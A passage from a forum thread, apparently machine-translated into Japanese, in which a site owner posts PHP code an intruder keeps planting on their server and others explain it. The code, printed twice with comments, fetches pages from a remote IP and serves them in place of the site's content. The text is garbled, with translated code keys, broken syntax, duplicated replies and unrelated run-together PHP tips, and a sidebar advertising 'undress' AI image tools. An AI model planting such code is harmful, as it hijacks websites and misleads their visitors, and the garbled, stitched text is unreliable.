私の Web サイトはハッキングされたようです。毎日、私の Web サイトのルート ディレクトリにアクセスし、次のようなコードを配置する SB がいます。
set_time_limit(0);
header(" Content-Type: text/html;charset=gb2312");
$Remote_server = "http://122.114.126.160/"; http://".$_SERVER['SERVER_NAME' ].$_SERVER['PHP_SELF'];
$userAgent = $_SERVER['HTTP_USER_AGENT'];
$Content_mb=getHTTPPage($Remote_server."/index .html?host=".$host_name);
echo $Content_mb;
exit();
function getHTTPPage($url) {
$opts = array(
'http'= >array(
'メソッド'=> ;"GET",
'ヘッダー'=>"ユーザーエージェント: aQ0O010O"
)
); $context = stream_context_create( $opts);
$html = @file_get_contents ($url, false, $context);
if (empty($html)) {
exit("
接続エラー!
");}
return $html;
}
?>
どういう意図ですか? 専門家に解析してもらいましょう
ディスカッションへの返信 (解決策)
彼はこのコードをルート ディレクトリに置きました。Web サイトにアクセスできませんか?
彼はあなたの Web サイトの元のアドレスを自分で書いたメソッドに渡し、それをホストパラメータで受け入れて、あなたのホームページの情報を取得したようです
については何も異常はありません私のウェブサイト (まだ見つかりません) 例外)
彼はあなたのウェブサイトの元のアドレスを自分で書いたメソッドに渡し、それをホストパラメータで受け入れて取得したようですあなたのホームページの情報
私 ウェブサイトには何も問題はありません (まだ異常は見つかりません)
上記の私の説明には問題があります。次の図に示すように、新しいディレクトリではなく、ルート ディレクトリの前のディレクトリに配置されます。
ディレクトリ public_html は、Web サイトのルート ディレクトリです。このファイルは、public_html と同じディレクトリに配置されます。これが私のウェブサイトにどのような影響を与えるかわかりません。このSBは隔日でここに来て、何度か削除されています。
Linux システムでは、現在の権限が 755 に設定されています。644 に設定されている場合、Web サイトを開くことができません。ファイルへのアクセスを防ぐ方法はありますか?
$Remote_server."/index.html?host=".$host_name ここで彼はあなたの Web サイトのアドレスを渡しましたが、その IP のサーバーではコードが表示されないので、どうすればよいかわかりません。 。 。 。 。 。彼が何をしようとしているのか見当もつかない。 。 。 。 。
サーバーの点がわかりません。専門家が助けてくれるのを待ちます
ありがとうございます
何か異常はありませんか?
set_time_limit(0); //タイムアウトしないheader("Content-Type: text/html;charset=gb2312"); //ブラウザの文字セットを指定します
$Remote_server = "http://122.114 .126.160/"; //リモート Web サイト
$host_name = "http://".$_SERVER['SERVER_NAME'].$_SERVER['PHP_SELF']; //現在のページの URL を構築します
$userAgent = $_SERVER['HTTP_USER_AGENT'] // 視聴者のブラウザ情報を取得します
$Content_mb=getHTTPPage($Remote_server."/index.html?host=".$host_name); // リモート Web サイトを呼び出します
echo $Content_mb; //リモート Web サイトから返されたコンテンツを出力します
exit() //実行中のプログラムを終了します
function getHTTPPage($url) { //リモート Web サイト関数を呼び出します
$ opts = array(
'http'=>array(
'method'=>"GET",
'header'=>"ユーザーエージェント: aQ0O010O"
)
);
$context = stream_context_create($opts);
$html = @file_get_contents($url, false, $context); // リモート Web サイトにアクセスする場合、URL も渡されます。 (empty($ html)) {
exit("
接続エラー!> ; p>");
}
return $html;
}
相手は何をしたのか?まだ不明です
ローカル開発環境の場合、広告が返され通常のページが消えます
稼働中のWebサイトの場合、異常がなければ潜在的な脅威が大きいことを意味します( CSRF攻撃)
ちょっとした宣伝です、関係ありません
何はともあれ、まず相手の IP を禁止し、サーバーを設定して、IP 122.114.126.160 があなたの Web サイトにアクセスすることを禁止します。
ページのコンテンツを置き換えました。
まずプログラムに抜け穴があるかどうかを確認し、抜け穴が塞がれていない場合は、依然として多くの問題が発生する可能性があります。
例外はありませんか?
set_time_limit(0); //タイムアウトしない
header("Content-Type: text/html;charset=gb2312"); //ブラウザの文字セットを指定します
$Remote_server = "http://122.114 .126.160/"; //リモート Web サイト
$host_name = "http://".$_SERVER['SERVER_NAME'].$_SERVER['PHP_SELF']; //現在のページの URL を構築します
$userAgent = $_SERVER['HTTP_USER_AGENT'] // 視聴者のブラウザ情報を取得します
$Content_mb=getHTTPPage($Remote_server."/index.html?host=".$host_name); // リモート Web サイトを呼び出します
echo $Content_mb; //リモート Web サイトから返されたコンテンツを出力します
exit() //実行中のプログラムを終了します
function getHTTPPage($url) { //リモート Web サイト関数を呼び出します
$ opts = array(
'http'=>array(
'method'=>"GET",
'header'=>"ユーザーエージェント: aQ0O010O"
)
);
$context = stream_context_create($opts);
$html = @file_get_contents($url, false, $context); // リモート Web サイトにアクセスする場合、URL も渡されます。 (empty($ html)) {
exit("
接続エラー!> ; p>");
}
return $html;
}
相手は何をしたのか?まだ不明です
ローカル開発環境の場合、広告が返され通常のページが消えます
稼働中のWebサイトの場合、異常がなければ潜在的な脅威が大きいことを意味します( CSRF攻撃)
ちょっとした宣伝です、どうでもいいです
---------------------- - --
ありがとう
何はともあれ、まず相手の IP を禁止し、サーバーを設定してください。122.114.126.160 の IP があなたの Web サイトにアクセスすることを禁止します。
----------
ページを共有していただきありがとうございます
コンテンツ交換されました。
まずプログラムに抜け穴があるかどうかを確認し、抜け穴が塞がれていない場合は、依然として多くの問題が発生する可能性があります。
---------------------
ありがとう
彼は手放したかったんだろう SEOに行くpublic_html フォルダ内に .php を作成し、ファイルがあれば
内のファイルを置き換えます。 結果、タイプミスがあり、
結果的にタイプミスで外に残ったフォルダになってしまいました

aphpDependencyInjectionContaineriSATOULTAINATINAGECLASSDEPTINCIES、強化測定性、テスト可能性、および維持可能性。

SELECT DEPENTENCINGINOFCENT(DI)大規模なアプリケーションの場合、ServicElocatorは小さなプロジェクトまたはプロトタイプに適しています。 1)DIは、コンストラクターインジェクションを通じてコードのテスト可能性とモジュール性を改善します。 2)ServiceLocatorは、センター登録を通じてサービスを取得します。これは便利ですが、コードカップリングの増加につながる可能性があります。

phpapplicationscanbeoptimizedforspeedandEfficiencyby:1)enabingopcacheinphp.ini、2)PreparedStatementswithpordatabasequeriesを使用して、3)LoopswithArray_filterandarray_mapfordataprocessing、4)の構成ngincasaSearverseproxy、5)

PHPemailvalidationinvolvesthreesteps:1)Formatvalidationusingregularexpressionstochecktheemailformat;2)DNSvalidationtoensurethedomainhasavalidMXrecord;3)SMTPvalidation,themostthoroughmethod,whichchecksifthemailboxexistsbyconnectingtotheSMTPserver.Impl

tomakephpapplicationsfaster、followthesesteps:1)useopcodecachinglikeopcacheTostoredscriptbytecode.2)最小化abasequeriesecachingingindexing.3)leveragephp7機能forbettercodeefficiency.4)

依存性注入(DI)は、明示的に推移的な依存関係によりPHPコードのテスト可能性を大幅に改善します。 1)DI分離クラスと特定の実装により、テストとメンテナンスが柔軟になります。 2)3つのタイプのうち、コンストラクターは、状態を一貫性に保つために明示的な式依存性を注入します。 3)DIコンテナを使用して複雑な依存関係を管理し、コードの品質と開発効率を向上させます。

DatabaseQueryoptimizationInpholvesseveralstrategESTOEnhancePerformance.1)selectonlynlynlyndorycolumnStoredatedataTransfer.2)useindexingtospeedupdataretrieval.3)revenmecrycachingtostoreres sultsoffrequent queries.4)


ホットAIツール

Undresser.AI Undress
リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover
写真から衣服を削除するオンライン AI ツール。

Undress AI Tool
脱衣画像を無料で

Clothoff.io
AI衣類リムーバー

Video Face Swap
完全無料の AI 顔交換ツールを使用して、あらゆるビデオの顔を簡単に交換できます。

人気の記事

ホットツール

VSCode Windows 64 ビットのダウンロード
Microsoft によって発売された無料で強力な IDE エディター

WebStorm Mac版
便利なJavaScript開発ツール

mPDF
mPDF は、UTF-8 でエンコードされた HTML から PDF ファイルを生成できる PHP ライブラリです。オリジナルの作者である Ian Back は、Web サイトから「オンザフライ」で PDF ファイルを出力し、さまざまな言語を処理するために mPDF を作成しました。 HTML2FPDF などのオリジナルのスクリプトよりも遅く、Unicode フォントを使用すると生成されるファイルが大きくなりますが、CSS スタイルなどをサポートし、多くの機能強化が施されています。 RTL (アラビア語とヘブライ語) や CJK (中国語、日本語、韓国語) を含むほぼすべての言語をサポートします。ネストされたブロックレベル要素 (P、DIV など) をサポートします。

SAP NetWeaver Server Adapter for Eclipse
Eclipse を SAP NetWeaver アプリケーション サーバーと統合します。

メモ帳++7.3.1
使いやすく無料のコードエディター
